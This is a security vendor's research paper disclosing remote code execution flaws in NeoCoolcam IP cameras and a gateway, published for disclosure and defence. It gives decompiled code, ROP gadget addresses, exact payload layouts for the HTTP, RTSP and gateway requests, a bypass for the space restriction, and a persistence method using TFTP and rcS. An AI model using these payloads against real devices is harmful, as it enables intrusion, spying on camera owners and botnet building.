



**Bitdefender**<sup>®</sup>

# Remote Exploitation of the NeoCoolcam IP Cameras and Gateway

A botnet of "eyes in the cloud" that once again threatens user privacy and the safety of the Internet





## Foreword

The Internet of Connected Things has become a massive phenomenon during the past few years and will continue to grow at an incredible pace. More than 26 billion smart devices will be on the market by 2020, Gartner estimates. We're looking at an explosive growth, as IoT opportunities increase not only in the consumer segment, through home automation, but also in the industrial sector, through sensors that detect weather and traffic conditions, among others. Although connected devices are sold most everywhere, manufacturers haven't dived deep into the technology, as more innovation is expected to emerge the more connected we are.

In 2016, security researchers from Bitdefender detected multiple vulnerabilities in a number of Internet of Things devices. WeMo switches, LinkHub, LIFX Bulb and the MUZO Cobblestone audio receiver were just some of the easy targets for hackers seeking hassle-free ways into a person's home. Separate industry research proved Google's Nest thermostat could be hacked in less than 15 seconds, making it an ideal entry point hackers can use to exploit devices linked to the same network.

A vulnerability in an electrical socket discovered by Bitdefender researchers last year, and the Mirai incident, heighten concerns about lax IoT security. From exposed Telnet services to poor or no authentication and vulnerable firmware, attackers have plenty of avenues into private networks to wreak havoc.

This paper details the compromise of a vendor's IPTV and gateway products by remote exploitation that is trivial to achieve. Because these devices use UPnP (Universal Plug and Play) to automatically open ports in the router's firewall, they can easily be accessed from the outside world. By using the Shodan search engine, we detected between 100,000 and 140,000 vulnerable devices powered worldwide.



## Key findings

Shenzhen Neo Electronics (<http://www.szneo.com>) is a Chinese company that offers surveillance and security solutions in the form of sensors, alarms and IP cameras that can get interconnected using their gateway.

Several buffer overflow vulnerabilities (some before authentication) are present in the two cameras studied, the iDoorbell model and NIP-22 model, but we suspect that all cameras sold by the company use the same software and are thus vulnerable. These vulnerabilities could allow, under certain conditions, remote code execution on the device. This type of vulnerabilities is also present on the gateway which controls the sensors and alarms.

Both tested cameras use UPnP to open ports on the router, so they can be accessed from the outside world. We used the Shodan search engine to find all cameras discoverable from the Internet. We found between 100,000 and 140,000 devices when searching for the HTTP web server, and a similar number when searching for the RTSP server (both vulnerable). These are not necessarily the same devices, as some have only one service forwarded. We estimate that the real number of unique devices is around 175,000.

## A technical description of the attack

Both camera models are subject to two types of attack, one that affects the web server service running on cameras and another that affects the RSTP (Real Time Streaming Protocol) server.

### The camera's web server exploit

```

v3 = strlen(v2);
libs_parsedata((int)v2, v3, "usr=", (int)"&", 1, (int)s);
v4 = strlen(v2);
libs_parsedata((int)v2, v4, "pwd=", (int)"&", 1, (int)&v45);

```

This vulnerability in the HTTP service is triggered by an error in the way the application processes the username and password information at login. As the user attempts to authenticate, they pass the credentials in a GET request at "`http://<ip>/?usr=<user>&pwd=<password>`". When the web authentication function attempts to parse these values, "`libs_parsedata`" copies the content of the two arguments on the stack without checking their actual size. This triggers an out of bound write.

```

char v45; // [sp+33Ch] [bp-14Ch]@1
char s[116]; // [sp+38Ch] [bp-CCh]@1
int v47; // [sp+43Ch] [bp-4Ch]@52
int v48; // [sp+440h] [bp-48h]@61
int v49; // [sp+444h] [bp-44h]@67
int v50; // [sp+448h] [bp-40h]@63
int v51; // [sp+44Ch] [bp-3Ch]@65
int v52; // [sp+450h] [bp-38h]@69
int v53; // [sp+454h] [bp-34h]@71
int v54; // [sp+458h] [bp-30h]@73
char *v55; // [sp+45Ch] [bp-2Ch]@52

```

Because full ASLR is enabled, the addresses where the binaries are loaded are always random. However, as the binary itself is not **PIE (Position Independent Executable)**, a hardening technology that allows a binary and all its dependencies to be loaded into random locations within virtual memory each time the application is executed), which means that it loads at the same address every time.

```

STMTD    SP!, {R4-R11,LR}
SUB      SP, SP, #0x460
SUB      SP, SP, #4

```



In our simulated attack, we use both overflows to call the “system” function and specify any command we want to be executed. For this we use a ROP gadget in the binary itself, located at address 0x0007EDD8. This loads the address of the stack pointer into R0, then calls the system function. After the jump to the gadget, the stack pointer points to the address immediately next to where the return address was.

```

0007EDD0
0007EDD4
0007EDD8
0007EDDC

MOV    R0, SP
BL     sprintf
MOV    R0, SP
BL     system

```

Therefore, to execute a command, we first need to overwrite the return address with 0x0007EDD8 and write the command immediately after this address. Via the overflow in the username parameter, we overwrite everything on the stack, including the return value, using 204 bytes and write the command after that. We subsequently use the password overflow to overwrite the return address with 328 bytes followed by our address written in Little Endian 0xD8ED07.

Because the string must be null-terminated, that byte is automatically appended, leaving the gadget’s address on the stack. The final payload will look like:

```
"GET /?usr=<204bytes><command>&pwd=<328bytes><0xD8ED07> HTTP/1.1"
```

This command can’t contain null bytes, the ‘&’ character or - more importantly - an empty space. The last limitation is easily bypassed using the Internal Field Separator \${IFS}. After our code is executed, the service crashes, but watchdog process still restarts the camera. Because the filesystem is mounted as read-write, persistency can be obtained by downloading a binary via TFTP and modifying the rcS file to run it at boot.

### The camera’s RSTP server exploit

```

MOV    R0, R4           ; haystack
LDR    R1, =aAuthorizationD ; "Authorization: Digest "
BL     strstr

```

The RTSP vulnerability occurs in the processing of the authorization field in a DESCRIBE request. To stage the attack, the “Authorization: Digest” field gets copied in a buffer first. After the following code is executed, R0 points to the beginning of the “Digest” string.

```

MOV    R0, R4           ; s
LDR    R1, =asc_1787B0 ; "[%[^]=\\'%[^\\"]\\'"
MOV    R2, R5
MOV    R3, R6
STRB   R7, [SP,#8]
BL     sscanf

```

Next, as the program expects the input to be formatted like <field>=<value>, it attempts to parse it accordingly using “*sscanf*”:

```

SUB    SP, SP, #0x20C
ADD    R5, SP, #0x108
MOV    R4, R0
MOV    R8, R1
MOV    R10, R2
MOV    R1, #0
MOV    R2, #0x100
MOV    R0, R5
ADD    R6, SP, #8

```

We now have the source buffer in R0, while R1 contains the regular expression and R2 and R3 contain the destination buffers. The function copies all the characters until ‘=’ occurs in the first destination buffer and everything until the second “” character occurs in the second destination buffer. So, if the source buffer is of the form <field>=<value> the first buffer contains the <field> and the second contains the <value>. Because there is no check for string length, we can trigger a buffer



overflow.

Because both the HTTP server and the RTSP server run in the same binary, we can use the same gadget described above to obtain code execution. The <field> name has the following form: <296 bytes>+<command> and will be used to write the command, while the field <value> is <548 bytes>+<return address> long and will write the gadget address on the stack. The final request will look like this:

```
DESCRIBE rtsp://<IP>:554/ RTSP/1.0
```

```
Authorization: Digest <296 bytes><command>="<548 bytes><0xD8ED07>"
```

We notice that the same address as above (0x0007EDD8) gets formed on the stack after the final null byte is added.

This time, the command can't contain an "=" character but can contain empty spaces.

These two exploits are almost identical in both camera models, the only difference being the address where the system call gadget is found. The exploits above will work on the iDoorbell camera whilst the 0x00084b64 address must be used for the NIP-22 model.

#### The NVR Gateway web server exploit

```
.text:00013608      ADD      R0, SP, #0x200
.text:0001360C      BL      sprintf
.text:00013610      ADD      R0, SP, #0x200
.text:00013614      BL      system
```

The vulnerability present in the gateway is triggered by a buffer overflow that occurs at the parsing of a specific GET request. This system also has full ASLR on, but the binary is not PIE, just like the camera binary.

Fortunately for this proof of concept, a gadget that executes a command located at SP + 0x200 can be found at address 0x13610. To proceed further, we need to find two consecutive buffer overflows. The first one can be found in the URL of a GET request containing the "livestream" keyword. If the URL of a request contains this keyword, it will be passed to a function that will start parsing it.

```
if ( ParseData((int)v3, v4, "GET http://", (int)":", 1, (int)&v46) )
    goto LABEL_39;
if ( ParseData((int)v3, v4, "livestream/", (int)"?action=", 1, (int)s) )
    goto LABEL_39;
```

```
STMFD      SP!, {R4-R11,LR}
SUB        SP, SP, #0x930
SUB        SP, SP, #0xC ; int
ADD        R4, SP, #0x93C+s
```

```

int v30; // [sp+8D4h] [bp+4h]@1
int v31; // [sp+8D8h] [bp+8h]@1
int v32; // [sp+8DC h] [bp+C h]@1
int v33; // [sp+8E0h] [bp+10h]@1
int v34; // [sp+8E4h] [bp+14h]@1
int v35; // [sp+8E8h] [bp+18h]@1
int v36; // [sp+8ECh] [bp+1Ch]@1
int v37; // [sp+8F0h] [bp+20h]@1
int v38; // [sp+8F4h] [bp+24h]@1
int v39; // [sp+8F8h] [bp+28h]@1
int v40; // [sp+8FCh] [bp+2Ch]@1
int v41; // [sp+900h] [bp+30h]@1
int v42; // [sp+904h] [bp+34h]@1
int v43; // [sp+908h] [bp+38h]@1
int v44; // [sp+90Ch] [bp+3Ch]@1
int v45; // [sp+910h] [bp+40h]@1
int v46; // [sp+914h] [bp+44h]@1
int v47; // [sp+918h] [bp+48h]@1
int v48; // [sp+91Ch] [bp+4Ch]@1
int v49; // [sp+920h] [bp+50h]@1
int v50; // [sp+924h] [bp+54h]@1
int v51; // [sp+928h] [bp+58h]@1
int v52; // [sp+92Ch] [bp+5Ch]@1
int v53; // [sp+930h] [bp+60h]@1
unsigned int v54; // [sp+934h] [b

```

"ParseData" is a function that is identical to the "libs\_parsedata" function found in cameras. In our case, it will copy the string found between "GET http://" and "." in v46.

As shown in the stack layout above, v46 will overflow the stack after  $0x93c-0x914 = 0x28$  or 40 bytes and subsequently overwrite the return address after another 36 bytes. This is the first needed overflow for the attack to succeed.

```

v6 = atoi(s);
v5 = 1717986919 * v6;
if ( (unsigned int)(v6 / 10 - 1) > 7 )
    goto LABEL_39;

```

Another call to "ParseData" follows immediately but it will overflow the stack after about 2330 bytes and our request is limited to 2056 bytes. The second overflow is located in the Authorization field, but to get there we need to craft a specific request. The value passed between "livestream/" and "?action=" is important as it will help us control the flow of execution.

To proceed with the second overflow, we need the value computed using our input to be between 0 and 7. A value of 80 given between "livestream/" and "?action=" will result in a value of 7 that will be useful later. After it passes the value check, the function now looks for another field in the URL.

```

if ( ParseData((int)v3, v4, "media=", (int)" HTTP/1.1\r\n", 1, (int)s) )
    goto LABEL_39;
if ( !strcmp(s, "video_audio_data") )
{
    v28 = 7;
}

if ( !strstr(v3, "Authorization: ") || ParseData((int)v3, v4, "Authorization:", (int)" \r\n", 1, (int)s) )
    goto LABEL_39;
sscanf(s, "%s %s", &v38, &v30);

```

Another call to the "ParseData" function copies the value between "media=" and " HTTP/1.1\r\n". Again, it can't be overflowed for the same reason specified above. Still, if the value is "video\_audio\_data" the value 7 will be copied in the v28 variable. This variable is compared with the value computed earlier and, if they are equal, the program continues the execution with the "Authorization" field parsing.



This code section will copy the “Authorization” value in a buffer. It expects to receive a username and a password in the form <username> <password>. It will then copy the two values in variables located on the stack. As per the stack layout, v38 will overflow after 72 bytes and v30 after 104 bytes. We can’t use these overflows to write both the stack and make the jump, because if one of the buffers is too long (and if we recall the gadget, the command has to be 512 bytes after the stack pointer) - another later overflow would overwrite the return address with a base64 value.

Therefore, for the first overflow we need 40 bytes + 32 bytes (stack registers) + 512 bytes (command offset on stack) + command. For the second one, we have chosen to use the v38 variable to overwrite the return address using 72 bytes + 32 bytes (stack registers) and the gadget address 0x103601.

The final request will roughly look like this:

```
GET http://<588bytes><command>:livestream/80?action=A&media=video_audio_data HTTP/1.1
Authorization: <104bytes><0x103601>
```

The command can’t contain empty spaces or the ‘.’ character, but the empty space limitation can be bypassed like in the scenario described above. The device has TFRP capabilities, so we can use the same technique to obtain persistence.

## Conclusions

This proof of concept attack confirms once again that most Internet of Things devices are trivial to exploit because of improper quality assurance at the firmware level. Paired with the fact that the bug affects the authentication mechanism (i.e. it does not require the user to already be authenticated to exploit the flaw) and the massive pool of affected devices, we can only imagine the impact a harvested botnet of devices might have.

While our role as a security company is not to lecture vendors, but to educate them and their customers, we keep seeing a recurring theme: the IoT industry constantly overlooks security in most devices that land on the market, either because security adds extra costs and requires expertise, or because of the device’s CPU power and battery constraints. This creates too many security loopholes and backdoors, especially in surveillance cameras, which can be used as brute devices to knock hots off the Internet, but can also be turned against their owners for espionage.

If not taken care of, the weak state of IoT security increases the number of vulnerabilities and attack vectors which could soon massively affect users’ privacy and personal life.

Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world's leading virtualization and cloud technology providers. More information is available at <http://www.bitdefender.com/>

All Rights Reserved. © 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.  
FOR MORE INFORMATION VISIT: [enterprise.bitdefender.com](http://enterprise.bitdefender.com)

